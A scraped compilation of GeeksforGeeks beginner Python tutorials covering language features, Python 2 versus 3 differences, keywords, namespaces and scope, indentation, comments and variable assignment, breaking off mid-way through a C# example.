    These are some of the most basics of the Python programming language and I will be covering both the intermediate and advanced level Python topics in my upcoming articles.

    This article is contributed by Harsh Wardhan Chaudhary. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Your article will be reviewed first by Geeks for Geeks team before publishing.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

Python – The new generation Language

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 23 Jul, 2021

Python designed by Guido van Rossum at CWI has become a widely used general-purpose, high-level programming language.

Prerequisites:

Knowledge of any programming language can be a plus.

Reason for increasing popularity

  1. Emphasis on code readability, shorter codes, ease of writing
  2. Programmers can express logical concepts in fewer lines of code in comparison to languages such as C++ or Java.
  3. Python supports multiple programming paradigms, like object-oriented, imperative and functional programming or procedural.
  4. There exists inbuilt functions for almost all of the frequently used concepts.
  5. Philosophy is “Simplicity is the best”.

LANGUAGE FEATURES

Python vs JAVA

PythonJava
Dynamically Typed1.No need to declare anything. An assignment statement binds a name to an object, and the object can be of any type.2.No type casting required when using container objectsStatically Typed 1.All variable names (along with their types) must be explicitly declared. Attempting to assign an object of the wrong type to a variable name triggers a type exception.2.Type casting is required when using container objects.
Concise Express much in limited wordsVerboseContains more words
CompactLess Compact
Uses Indentation for structuring codeUses braces for structuring code

The classical Hello World program illustrating the relative verbosity of a Java Program and Python Program
Java Code




public class HelloWorld
{
   public static void main (String[] args)
   {
      System.out.println("Hello, world!");
   }
}

Python Code




print("Hello, world!")

Similarity with Java

LOOK and FEEL of the Python

GUI

2

Command Line interface

3

Softwares making use of Python

Python has been successfully embedded in a number of software products as a scripting language.

  1. GNU Debugger uses Python as a pretty printer to show complex structures such as C++ containers.
  2. Python has also been used in artificial intelligence
  3. Python is often used for natural language processing tasks.

Current Applications of Python

  1. A number of Linux distributions use installers written in Python example in Ubuntu we have the Ubiquity
  2. Python has seen extensive use in the information security industry, including in exploit development.
  3. Raspberry Pi– single board computer uses Python as its principal user-programming language.
  4. Python is now being used Game Development areas also.

Pros:

  1. Ease of use
  2. Multi-paradigm Approach

Cons:

  1. Slow speed of execution compared to C,C++
  2. Absence from mobile computing and browsers
  3. For the C,C++ programmers switching to python can be irritating as the language requires proper indentation of code. Certain variable names commonly used like sum are functions in python. So C, C++ programmers have to look out for these.

Industrial Importance

Most of the companies are now looking for candidates who know about Python Programming. Those having the knowledge of python may have more chances of impressing the interviewing panel. So I would suggest that beginners should start learning python and excel in it.

GeeksforGeeks is very soon going to introduce programming in Python too.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.

Article By Mudit Maheshwari:

A 3rd-year B.Tech IT student from VIT University, Vellore having a keen interest in coding, learning about new technology, and developing software. Besides being passionate about coding, he also loves playing guitar and singing. Currently staying in Chennai. You can reach him at mudit94@gmail.com.

If you also wish to showcase your blog here,please see GBlog for guest blog writing on GeeksforGeeks.

 


My Personal Notes arrow_drop_up

Important differences between Python 2.x and Python 3.x with examples

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 01 Mar, 2021

Division operator

If we are porting our code or executing python 3.x code in python 2.x, it can be dangerous if integer division changes go unnoticed (since it doesn’t raise any error). It is preferred to use the floating value (like 7.0/5 or 7/5.0) to get the expected result when porting our code. 
 

Python




print 7 / 5
 
print -7 / 5    
 
   
 
'''
 
Output in Python 2.x
 
1
 
-2
 
Output in Python 3.x :
 
1.4
 
-1.4
 
   
 
# Refer below link for details
 
 
'''

print function

This is the most well-known change. In this, the print keyword in Python 2.x is replaced by the print() function in Python 3.x. However, parentheses work in Python 2 if space is added after the print keyword because the interpreter evaluates it as an expression. 
 

Python




print 'Hello, Geeks'      # Python 3.x doesn't support
 
print('Hope You like these facts')
 
   
 
'''
 
Output in Python 2.x :
 
Hello, Geeks
 
Hope You like these facts
 
   
 
Output in Python 3.x :
 
File "a.py", line 1
 
    print 'Hello, Geeks'
 
                       ^
 
SyntaxError: invalid syntax
 
   
 
Refer below link for details
 
 
'''

As we can see, if we use parentheses in python 2.x then there is no issue but if we don’t use parentheses in python 3.x, we get SyntaxError. 
 

Unicode:

In Python 2, an implicit str type is ASCII. But in Python 3.x implicit str type is Unicode. 
 

Python




print(type('default string '))
 
print(type(b'string with b '))
 
   
 
'''
 
Output in Python 2.x (Bytes is same as str)
 
<type 'str'>
 
<type 'str'>
 
   
 
Output in Python 3.x (Bytes and str are different)
 
<class 'str'>
 
<class 'bytes'>
 
'''

Python 2.x also supports Unicode 
 

Python




print(type('default string '))
 
print(type(u'string with b '))
 
   
 
'''
 
Output in Python 2.x (Unicode and str are different)
 
<type 'str'>
 
<type 'unicode'>
 
   
 
Output in Python 3.x (Unicode and str are same)
 
<class 'str'>
 
<class 'str'>
 
'''

xrange:

xrange() of Python 2.x doesn’t exist in Python 3.x. In Python 2.x, range returns a list i.e. range(3) returns [0, 1, 2] while xrange returns a xrange object i. e., xrange(3) returns iterator object which works similar to Java iterator and generates number when needed. 
If we need to iterate over the same sequence multiple times, we prefer range() as range provides a static list. xrange() reconstructs the sequence every time. xrange() doesn’t support slices and other list methods. The advantage of xrange() is, it saves memory when the task is to iterate over a large range. 
In Python 3.x, the range function now does what xrange does in Python 2.x, so to keep our code portable, we might want to stick to using a range instead. So Python 3.x’s range function is xrange from Python 2.x. 
 

Python




for x in xrange(1, 5):
 
    print(x),
 
   
 
for x in range(1, 5):
 
    print(x),
 
   
 
'''
 
Output in Python 2.x
 
1 2 3 4 1 2 3 4
 
   
 
Output in Python 3.x
 
NameError: name 'xrange' is not defined
 
'''

Error Handling:

There is a small change in error handling in both versions. In python 3.x, ‘as’ keyword is required. 
 

Python




try:
 
    trying_to_check_error
 
except NameError, err:
 
    print err, 'Error Caused'   # Would not work in Python 3.x
 
   
 
'''
 
Output in Python 2.x:
 
name 'trying_to_check_error' is not defined Error Caused
 
   
 
Output in Python 3.x :
 
File "a.py", line 3
 
    except NameError, err:
 
                    ^
 
SyntaxError: invalid syntax
 
'''

Python




try:
 
     trying_to_check_error
 
except NameError as err: # 'as' is needed in Python 3.x
 
     print (err, 'Error Caused')
 
   
 
'''
 
Output in Python 2.x:
 
(NameError("name 'trying_to_check_error' is not defined",), 'Error Caused')
 
   
 
Output in Python 3.x :
 
name 'trying_to_check_error' is not defined Error Caused
 
'''

__future__ module:

This is basically not a difference between the two versions, but a useful thing to mention here. The idea of the __future__ module is to help migrate to Python 3.x. 
If we are planning to have Python 3.x support in our 2.x code, we can use _future_ imports in our code. 
For example, in the Python 2.x code below, we use Python 3.x’s integer division behavior using the __future__ module. 
 

Python




# In below python 2.x code, division works
 
# same as Python 3.x because we use  __future__
 
from __future__ import division
 
   
 
print 7 / 5
 
print -7 / 5

Output : 
 

1.4 

-1.4 

Another example where we use brackets in Python 2.x using __future__ module: 
 

Python




from __future__ import print_function    
 
   
 
print('GeeksforGeeks')

Output: 
 

GeeksforGeeks 

Refer to this for more details of the __future__ module. 
 

This article is contributed by Arpit Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. 
 


My Personal Notes arrow_drop_up

Python Keywords

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 12 Oct, 2021

Python Keywords: Introduction

Keywords in Python are reserved words that can not be used as a variable name, function name, or any other identifier.

List of all keywords in Python

andasassertbreak
classcontinuedefdel
elifelseexceptFalse
finallyforfromglobal
ifimportinis
lambdaNonenonlocalnot
orpassraisereturn
Truetrywhilewith
yield   

We can also get all the keyword names using the below code.

Example: Python Keywords List 

Python3




# Python code to demonstrate working of iskeyword()
  
# importing "keyword" for keyword operations
import keyword
  
# printing all keywords at once using "kwlist()"
print("The list of keywords is : ")
print(keyword.kwlist)

Output:

The list of keywords is : 

[‘False’, ‘None’, ‘True’, ‘and’, ‘as’, ‘assert’, ‘async’, ‘await’, ‘break’, ‘class’, ‘continue’, ‘def’, ‘del’, ‘elif’, ‘else’, ‘except’, ‘finally’, ‘for’, ‘from’, ‘global’, ‘if’, ‘import’, ‘in’, ‘is’, ‘lambda’, ‘nonlocal’, ‘not’, ‘or’, ‘pass’, ‘raise’, ‘return’, ‘try’, ‘while’, ‘with’, ‘yield’]

Let’s discuss each keyword in detail with the help of good examples.

True, False, None

Example: True, False, and None Keyword

Python3




print(False == 0)
print(True == 1)
  
print(True + True + True)
print(True + False + False)
  
print(None == 0)
print(None == [])
Output
True
True
3
1
False
False

and, or, not, in, is

and keyword python

3 and 0 returns 0 

3 and 10 returns 10 

10 or 20 or 30 or 10 or 70 returns 10 

The above statements might be a bit confusing to a programmer coming from a language like C where the logical operators always return boolean values(0 or 1). Following lines are straight from the python docs explaining this:

The expression x and y first evaluates x; if x is false, its value is returned; otherwise, y is evaluated and the resulting value is returned.

The expression x or y first evaluates x; if x is true, its value is returned; otherwise, y is evaluated and the resulting value is returned.

Note that neither and nor or restrict the value and type they return to False and True, but rather return the last evaluated argument. This is sometimes useful, e.g., if s is a string that should be replaced by a default value if it is empty, the expression s or ‘foo’ yields the desired value. Because not has to create a new value, it returns a boolean value regardless of the type of its argument (for example, not ‘foo’ produces False rather than ”.)

or

3 or 0 returns 3 

3 or 10 returns 3 

0 or 0 or 3 or 10 or 0 returns

Example: and, or, not, is and in keyword

Python




# showing logical operation
# or (returns True)
print(True or False)
  
# showing logical operation
# and (returns False)
print(False and True)
  
# showing logical operation
# not (returns False)
print(not True)
  
# using "in" to check
if 's' in 'geeksforgeeks':
    print("s is part of geeksforgeeks")
else:
    print("s is not part of geeksforgeeks")
  
# using "in" to loop through
for i in 'geeksforgeeks':
    print(i, end=" ")
  
print("\r")
  
# using is to check object identity
# string is immutable( cannot be changed once allocated)
# hence occupy same memory location
print(' ' is ' ')
  
# using is to check object identity
# dictionary is mutable( can be changed once allocated)
# hence occupy different memory location
print({} is {})

Output: 

True
False
False
s is part of geeksforgeeks
g e e k s f o r g e e k s 
True
False

Iteration Keywords – for, while, break, continue

Example: For, while, break, continue keyword

Python3




# Using for loop
for i in range(10):
  
    print(i, end = " ")
      
    # break the loop as soon it sees 6
    if i == 6:
        break
      
print()
      
# loop from 1 to 10
i = 0
while i <10:
      
    # If i is equals to 6,
    # continue to next iteration
    # without printing
    if i == 6:
        i+= 1
        continue
    else:
        # otherwise print the value
        # of i
        print(i, end = " ")
          
    i += 1
Output
0 1 2 3 4 5 6 
0 1 2 3 4 5 7 8 9 

Conditional keywords – if, else, elif

Example: if, else, and elif keyword

Python3




# Python program to illustrate if-elif-else ladder
#!/usr/bin/python
  
i = 20
if (i == 10):
    print ("i is 10")
elif (i == 20):
    print ("i is 20")
else:
    print ("i is not present")
Output
i is 20

Note: For more information, refer to out Python if else Tutorial.

def

def keyword is used to declare user defined functions.

Example: def keyword

Python3




# def keyword
def fun():
    print("Inside Function")
      
fun()
Output
Inside Function

Return Keywords – Return, Yield

Example: Return and Yield Keyword

Python3




# Return keyword
def fun():
    S = 0
      
    for i in range(10):
        S += i
    return S
  
print(fun())
  
# Yield Keyword
def fun():
    S = 0
      
    for i in range(10):
        S += i
        yield S
  
for i in fun():
    print(i)
Output
45
0
1
3
6
10
15
21
28
36
45

class

class keyword is used to declare user defined classes.

Example: Class Keyword

Python3




# Python3 program to
# demonstrate instantiating
# a class
  
  
class Dog:
      
    # A simple class
    # attribute
    attr1 = "mammal"
    attr2 = "dog"
  
    # A sample method
    def fun(self):
        print("I'm a", self.attr1)
        print("I'm a", self.attr2)
  
# Driver code
# Object instantiation
Rodger = Dog()
  
# Accessing class attributes
# and method through objects
print(Rodger.attr1)
Rodger.fun()
Output
mammal
I'm a mammal
I'm a dog

Note: For more information, refer to our Python Classes and Objects Tutorial .

With

with keyword is used to wrap the execution of block of code within methods defined by context manager. This keyword is not used much in day to day programming.

Example: With Keyword

Python3




# using with statement
with open('file_path', 'w') as file:
    file.write('hello world !')

as

as keyword is used to create the alias for the module imported. i.e giving a new name to the imported module. E.g import math as mymath.

Example: as Keyword

Python3




import math as gfg
  
print(gfg.factorial(5))
Output
120

pass

pass is the null statement in python. Nothing happens when this is encountered. This is used to prevent indentation errors and used as a placeholder.

Example: Pass Keyword

Python3




n = 10
for i in range(n):
      
# pass can be used as placeholder
# when code is to added later
pass

Lambda

Lambda keyword is used to make inline returning functions with no statements allowed internally. 

Example: Lambda Keyword

Python3




# Lambda keyword
g = lambda x: x*x*x
  
print(g(7))
Output
343

Import, From

Example: Import, From Keyword

Python3




# import keyword
import math
print(math.factorial(10))
  
# from keyword
from math import factorial
print(factorial(10))
Output
3628800
3628800

Exception Handling Keywords – try, except, raise, finally, and assert

Example: try, except, raise, finally, and assert Keywords

Python3




# initializing number
a = 4
b = 0
  
# No exception Exception raised in try block
try:
    k = a//b # raises divide by zero exception.
    print(k)
  
# handles zerodivision exception
except ZeroDivisionError:
    print("Can't divide by zero")
  
finally:
    # this block is always executed
    # regardless of exception generation.
    print('This is always executed')
  
# assert Keyword  
# using assert to check for 0
print ("The value of a / b is : ")
assert b != 0, "Divide by 0 error"
print (a / b)

Output

Can't divide by zero
This is always executed
The value of a / b is :
AssertionError: Divide by 0 error

Note: For more information refer to our tutorial Exception Handling Tutorial in Python.

del

del is used to delete a reference to an object. Any variable or list value can be deleted using del.

Example: del Keyword

Python3




my_variable1 = 20
my_variable2 = "GeeksForGeeks"
  
# check if my_variable1 and my_variable2 exists
print(my_variable1)
print(my_variable2)
  
# delete both the variables
del my_variable1
del my_variable2
  
# check if my_variable1 and my_variable2 exists
print(my_variable1)
print(my_variable2)

Output

20
GeeksForGeeks
NameError: name 'my_variable1' is not defined

Global, Nonlocal

Example: Global and nonlocal keywords

Python3




# global variable
a = 15
b = 10
  
# function to perform addition
def add():
    c = a + b
    print(c)
  
# calling a function
add()
  
# nonlocal keyword
def fun():
    var1 = 10
  
    def gun():
        # tell python explicitly that it
        # has to access var1 initialized
        # in fun on line 2
        # using the keyword nonlocal
        nonlocal var1
          
        var1 = var1 + 10
        print(var1)
  
    gun()
fun()
Output
25
20

Note: For more information, refer to our Global and local variables tutorial in Python.

This article is contributed by Manjeet Singh(S. Nandini). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Keywords in Python | Set 2

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 28 Jun, 2021

Python Keywords – Introduction 
Keywords in Python | Set 1 

More keywords:
16. try : This keyword is used for exception handling, used to catch the errors in the code using the keyword except. Code in “try” block is checked, if there is any type of error, except block is executed.

17. except : As explained above, this works together with “try” to catch exceptions.

18. raise : Also used for exception handling to explicitly raise exceptions.

19. finally : No matter what is result of the “try” block, block termed “finally” is always executed. Detailed article –Exception Handling in Python

20. for : This keyword is used to control flow and for looping.

21. while : Has a similar working like “for” , used to control flow and for looping.

22. pass : It is the null statement in python. Nothing happens when this is encountered. This is used to prevent indentation errors and used as a placeholder
Detailed Article – for, while, pass

23. import : This statement is used to include a particular module into current program.

24. from : Generally used with import, from is used to import particular functionality from the module imported.

25. as : This keyword is used to create the alias for the module imported. i.e giving a new name to the imported module. E.g import math as mymath.
Detailed Article – import, from and as

26. lambda : This keyword is used to make inline returning functions with no statements allowed internally. Detailed Article – map, filter, lambda

27. return : This keyword is used to return from the function. Detailed article –  Return values in Python.

28. yield : This keyword is used like return statement but is used to return a generator. Detailed Article – yield keyword

29. with : This keyword is used to wrap the execution of block of code within methods defined by context manager.This keyword is not used much in day to day programming.

30. in : This keyword is used to check if a container contains a value. This keyword is also used to loop through the container.

31. is : This keyword is used to test object identity, i.e to check if both the objects take same memory location or not. 

Python




# Python code to demonstrate working of
# in and is
 
# using "in" to check
if 's' in 'geeksforgeeks':
       print ("s is part of geeksforgeeks")
else : print ("s is not part of geeksforgeeks")
 
# using "in" to loop through
for i in 'geeksforgeeks':
    print (i,end=" ")
 
print ("\r")
     
# using is to check object identity
# string is immutable( cannot be changed once allocated)
# hence occupy same memory location
print (' ' is ' ')
 
# using is to check object identity
# dictionary is mutable( can be changed once allocated)
# hence occupy different memory location
print ({} is {})

Output: 

s is part of geeksforgeeks
g e e k s f o r g e e k s 
True
False

32. global : This keyword is used to define a variable inside the function to be of a global scope.

33. non-local : This keyword works similar to the global, but rather than global, this keyword declares a variable to point to variable of outside enclosing function, in case of nested functions.

Python




# Python code to demonstrate working of
# global and non local
 
#initializing variable globally
a = 10
 
# used to read the variable
def read():
    print (a)
 
# changing the value of globally defined variable
def mod1():
    global a
    a = 5
 
# changing value of only local variable
def mod2():
    a = 15
 
# reading initial value of a
# prints 10
read()
 
# calling mod 1 function to modify value
# modifies value of global a to 5
mod1()
 
# reading modified value
# prints 5
read()
 
# calling mod 2 function to modify value
# modifies value of local a to 15, doesn't effect global value
mod2()
 
# reading modified value
# again prints 5
read()
 
# demonstrating non local
# inner loop changing the value of outer a
# prints 10
print ("Value of a using nonlocal is : ",end="")
def outer():
    a = 5
    def inner():
        nonlocal a
        a = 10
    inner()
    print (a)
 
outer()
 
# demonstrating without non local
# inner loop not changing the value of outer a
# prints 5
print ("Value of a without using nonlocal is : ",end="")
def outer():
    a = 5
    def inner():
        a = 10
    inner()
    print (a)
 
outer()

Output: 

10
5
5
Value of a using nonlocal is : 10
Value of a without using nonlocal is : 5

 
This article is contributed by Manjeet Singh(S. Nandini). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Namespaces and Scope in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 09 Feb, 2021

What is namespace:

A namespace is a system that has a unique name for each and every object in Python. An object might be a variable or a method. Python itself maintains a namespace in the form of a Python dictionary. Let’s go through an example, a directory-file system structure in computers. Needless to say, that one can have multiple directories having a file with the same name inside every directory. But one can get directed to the file, one wishes, just by specifying the absolute path to the file. 
Real-time example, the role of a namespace is like a surname. One might not find a single “Alice” in the class there might be multiple “Alice” but when you particularly ask for “Alice Lee” or “Alice Clark” (with a surname), there will be only one (time being don’t think of both first name and surname are same for multiple students).
On similar lines, the Python interpreter understands what exact method or variable one is trying to point to in the code, depending upon the namespace. So, the division of the word itself gives a little more information. Its Name (which means name, a unique identifier) + Space(which talks something related to scope). Here, a name might be of any Python method or variable and space depends upon the location from where is trying to access a variable or a method.
 

Types of namespaces :
 

When Python interpreter runs solely without any user-defined modules, methods, classes, etc. Some functions like print(), id() are always present, these are built-in namespaces. When a user creates a module, a global namespace gets created, later the creation of local functions creates the local namespace. The built-in namespace encompasses the global namespace and the global namespace encompasses the local namespace.
 

The lifetime of a namespace :
 

A lifetime of a namespace depends upon the scope of objects, if the scope of an object ends, the lifetime of that namespace comes to an end. Hence, it is not possible to access the inner namespace’s objects from an outer namespace.
 

Example: 

Python3




# var1 is in the global namespace
var1 = 5
def some_func():
 
    # var2 is in the local namespace
    var2 = 6
    def some_inner_func():
 
        # var3 is in the nested local
        # namespace
        var3 = 7

As shown in the following figure, the same object name can be present in multiple namespaces as isolation between the same name is maintained by their namespace.

But in some cases, one might be interested in updating or processing global variables only, as shown in the following example, one should mark it explicitly as global and the update or process.   Note that the line “count = count +1” references the global variable and therefore uses the global variable, but compare this to the same line written “count = 1”.  Then the line “global count” is absolutely needed according to scope rules.

Python3




# Python program processing
# global variable
 
count = 5
def some_method():
    global count
    count = count + 1
    print(count)
some_method()

Output: 

6

Scope of Objects in Python :
 

Scope refers to the coding region from which a particular Python object is accessible. Hence one cannot access any particular object from anywhere from the code, the accessing has to be allowed by the scope of the object.
Let’s take an example to have a detailed understanding of the same: 
 

Example 1: 

Python3




# Python program showing
# a scope of object
 
def some_func():
    print("Inside some_func")
    def some_inner_func():
        var = 10
        print("Inside inner function, value of var:",var)
    some_inner_func()
    print("Try printing var from outer function: ",var)
some_func()

Output: 

Inside some_func
Inside inner function, value of var: 10

Traceback (most recent call last):
  File "/home/1eb47bb3eac2fa36d6bfe5d349dfcb84.py", line 8, in 
    some_func()
  File "/home/1eb47bb3eac2fa36d6bfe5d349dfcb84.py", line 7, in some_func
    print("Try printing var from outer function: ",var)
NameError: name 'var' is not defined

My Personal Notes arrow_drop_up

Statement, Indentation and Comment in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 09 Aug, 2021

Statements

Instructions written in the source code for execution are called statements. There are different types of statements in the Python programming language like Assignment statements, Conditional statements, Looping statements, etc. These all help the user to get the required output. For example, n = 50 is an assignment statement.
Multi-Line Statements: Statements in Python can be extended to one or more lines using parentheses (), braces {}, square brackets [], semi-colon (;), continuation character slash (\). When the programmer needs to do long calculations and cannot fit his statements into one line, one can make use of these characters. 
Example : 
 

Declared using Continuation Character (\):
s = 1 + 2 + 3 + \
    4 + 5 + 6 + \
    7 + 8 + 9

Declared using parentheses () :
n = (1 * 2 * 3 + 7 + 8 + 9)

Declared using square brackets [] :
footballer = ['MESSI',
          'NEYMAR',
          'SUAREZ']

Declared using braces {} :
x = {1 + 2 + 3 + 4 + 5 + 6 +
     7 + 8 + 9}

Declared using semicolons(;) :
flag = 2; ropes = 3; pole = 4

 

Indentation

A block is a combination of all these statements. Block can be regarded as the grouping of statements for a specific purpose. Most of the programming languages like C, C++, Java use braces { } to define a block of code. One of the distinctive features of Python is its use of indentation to highlighting the blocks of code. Whitespace is used for indentation in Python. All statements with the same distance to the right belong to the same block of code. If a block has to be more deeply nested, it is simply indented further to the right. You can understand it better by looking at the following lines of code:
 

Python3




# Python program showing
# indentation
 
site = 'gfg'
 
if site == 'gfg':
    print('Logging on to geeksforgeeks...')
else:
    print('retype the URL.')
print('All set !')

Output: 
 

Logging on to geeksforgeeks...
All set !

The lines print(‘Logging on to geeksforgeeks…’) and print(‘retype the URL.’) are two separate code blocks. The two blocks of code in our example if-statement are both indented four spaces. The final print(‘All set!’) is not indented, and so it does not belong to the else-block. 
 

Python3




j = 1
while(j<= 5):
     print(j)
     j = j + 1

Output: 
 

1
2
3
4
5

To indicate a block of code in Python, you must indent each line of the block by the same whitespace. The two lines of code in the while loop are both indented four spaces. It is required for indicating what block of code a statement belongs to. For example, j=1 and while(j<=5): is not indented, and so it is not within the while block. So, Python code structures by indentation.
 

Comments

Python developers often make use of the comment system as, without the use of it, things can get real confusing, real fast. Comments are the useful information that the developers provide to make the reader understand the source code. It explains the logic or a part of it used in the code. Comments are usually helpful to someone maintaining or enhancing your code when you are no longer around to answer questions about it. These are often cited as a useful programming convention that does not take part in the output of the program but improves the readability of the whole program. There are two types of comments in Python: 
Single line comments: Python single line comment starts with hashtag symbol with no white spaces (#) and lasts till the end of the line. If the comment exceeds one line then put a hashtag on the next line and continue the comment. Python’s single-line comments are proved useful for supplying short explanations for variables, function declarations, and expressions. See the following code snippet demonstrating single line comment:
Code 1: 
 

Python3




# This is a comment
# Print “GeeksforGeeks !” to console
print("GeeksforGeeks")

Code 2: 
 

Python3




a, b = 1, 3 # Declaring two integers
sum = a + b # adding two integers
print(sum) # displaying the output

Multi-line string as a comment: Python multi-line comment is a piece of text enclosed in a delimiter (“””) on each end of the comment. Again there should be no white space between delimiter (“””). They are useful when the comment text does not fit into one line; therefore need to span across lines. Multi-line comments or paragraphs serve as documentation for others reading your code. See the following code snippet demonstrating multi-line comment:
Code 1: 
 

Python3




"""
This would be a multiline comment in Python that
spans several lines and describes geeksforgeeks.
A Computer Science portal for geeks. It contains
well written, well thought
and well-explained computer science
and programming articles,
quizzes and more.
"""
print("GeeksForGeeks")

Code 2: 
 

Python3




'''This article on geeksforgeeks gives you a
perfect example of
multi-line comments'''
 
print("GeeksForGeeks")

My Personal Notes arrow_drop_up

Structuring Python Programs

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 02 Mar, 2020

In this article, you would come to know about proper structuring and formatting your python programs.

Python Statements In general, the interpreter reads and executes the statements line by line i.e sequentially. Though, there are some statements that can alter this behavior like conditional statements.
            Mostly, python statements are written in such a format that one statement is only written in a single line. The interpreter considers the ‘new line character’ as the terminator of one instruction. But, writing multiple statements per line is also possible that you can find below.
Examples:




# Example 1
  
print('Welcome to Geeks for Geeks'
Output:
Welcome to Geeks for Geeks




# Example 2
  
x = [1, 2, 3, 4]
  
# x[1:3] means that start from the index 
# 1 and go upto the index 2
print(x[1:3])  
  
""" In the above mentioned format, the first 
index is included, but the last index is not
included."""
Output:
[2, 3]

Multiple Statements per Line We can also write multiple statements per line, but it is not a good practice as it reduces the readability of the code. Try to avoid writing multiple statements in a single line. But, still you can write multiple lines by terminating one statement with the help of ‘;’. ‘;’ is used as the terminator of one statement in this case.
        For Example, consider the following code.




# Example
  
a = 10; b = 20; c = b + a
  
print(a); print(b); print(c)
Output:
10
20
30

Line Continuation to avoid left and right scrolling
Some statements may become very long and may force you to scroll the screen left and right frequently. You can fit your code in such a way that you do not have to scroll here and there. Python allows you to write a single statement in multiple lines, also known as line continuation. Line continuation enhances readability as well.

# Bad Practice as width of this code is too much.
 
#code
x = 10
y = 20
z = 30
no_of_teachers = x
no_of_male_students = y
no_of_female_students = z
 
if (no_of_teachers == 10 and no_of_female_students == 30 and no_of_male_students == 20 and (x + y) == 30):
    print('The course is valid')
 
# This could be done instead:
 
if (no_of_teachers == 10 and no_of_female_students == 30
    and no_of_male_students == 20 and x + y == 30):
    print('The course is valid')

Types of Line Continuation
In general, there are two types of line continuation


How to check if a string is a valid keyword in Python?

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 10 Aug, 2021

Defining a Keyword

In programming, a keyword is a “reserved word” by the language which conveys special meaning to the interpreter. It may be a command or a parameter. Keywords cannot be used as a variable name in the program snippet.
Keywords in Python:  Python language also reserves some keywords that convey special meaning. Knowledge of these is a necessary part of learning this language. Below is a list of keywords registered by python. 
False, elif, lambda, 
None, else, nonlocal, 
True, except, not, 
and, finally, or, 
as, for, pass, 
assert, from, raise, 
break, global, return, 
class, if, try, 
continue, import, while 
def, in, with, 
del is, yield, 
 

How to check if a string is a keyword?

Python in its language defines an inbuilt module “keyword” which handles certain operations related to keywords. A function “iskeyword()” checks if a string is a keyword or not. Returns true if a string is a keyword, else returns false.
 

Python




#Instead of writing this massive Python code
#we can also code this in a different way
 
#Python code to demonstrate working of iskeyword()
 
# importing "keyword" for keyword operations
import keyword
import keyword
# initializing strings for testing while putting them in an array
keys = ["for", "while", "tanisha", "break", "sky",
"elif", "assert", "pulkit", "lambda", "else", "sakshar"]
 
for i in range(len(keys)):
     # checking which are keywords
    if keyword.iskeyword(keys[i]):
        print(keys[i] + " is python keyword")
    else:
        print(keys[i] + " is not a python keyword")

Output: 
 

for is a python keyword
geeksforgeeks is not a python keyword
elif is a python keyword
elseif is not a python keyword
nikhil is not a python keyword
assert is a python keyword
shambhavi is not a python keyword
True is a python keyword
False is a python keyword
akshat is not a python keyword
akash is not a python keyword
break is a python keyword
ashty is not a python keyword
lambda is a python keyword
suman is not a python keyword
try is a python keyword
vaishnavi is not a python keyword

 

How to print a list of all keywords

Sometimes, remembering all the keywords can be a difficult task while assigning variable names. Hence a function “kwlist()” is provided in the “keyword” module which prints all the 33 python keywords.
 

Python




#Python code to demonstrate working of iskeyword()
 
# importing "keyword" for keyword operations
import keyword
 
# printing all keywords at once using "kwlist()"
print ("The list of keywords is : ")
print (keyword.kwlist)

Output: 
 

The list of keywords is : 
['False', 'None', 'True', 'and', 'as', 'assert', 'break', 'class', 
'continue', 'def', 'del', 'elif', 'else', 'except', 'finally', 
'for', 'from', 'global', 'if', 'import', 'in', 'is', 'lambda', 
'nonlocal', 'not', 'or', 'pass', 'raise', 'return', 
'try', 'while', 'with', 'yield']

  
 

Next Articles: 
 

This article is contributed by Manjeet Singh(S.Nandini). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

How to assign values to variables in Python and other languages

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 31 May, 2022

This article discusses methods to assign values to variables. 

Method 1: Direct Initialisation Method 

In this method, you will directly assign the value in python but in other programming languages like C, C++, you have to first initialise the data type of variable. So, In Python, there is no need of explicit declaration  in variables as compare to using some other programming languages. You can start using the variable right away.

C++




// C++ code to demonstrate variable assignment
// upon condition using Direct Initialisation Method
 
#include <bits/stdc++.h>
using namespace std;
 
int main()
{
    // initialising variables directly
    int a = 5;
 
    // printing value of a
    cout << "The value of a is: " << a;
}

C




// C code to demonstrate variable assignment
// upon condition using Direct Initialisation Method
 
#include <stdio.h>
 
int main()
{
    // initialising variables directly
    int a = 5;
 
    // printing value of a
    printf("The value of a is: %d", a);
}

Java




// Java code to demonstrate variable assignment
// upon condition using Direct Initialisation Method
 
import java.io.*;
 
class GFG {
    public static void main(String args[])
    {
 
        // initialising variables directly
        int a = 5;
 
        // printing value of a
        System.out.println("The value of a is: " + a);
    }
}

Python3




# Python 3 code to demonstrate variable assignment
# upon condition using Direct Initialisation Method
 
# initialising variable directly
a = 5
 
# printing value of a
print ("The value of a is: " + str(a))

C#




// C# code to demonstrate variable assignment
// upon condition using Direct Initialisation Method
using System;
  
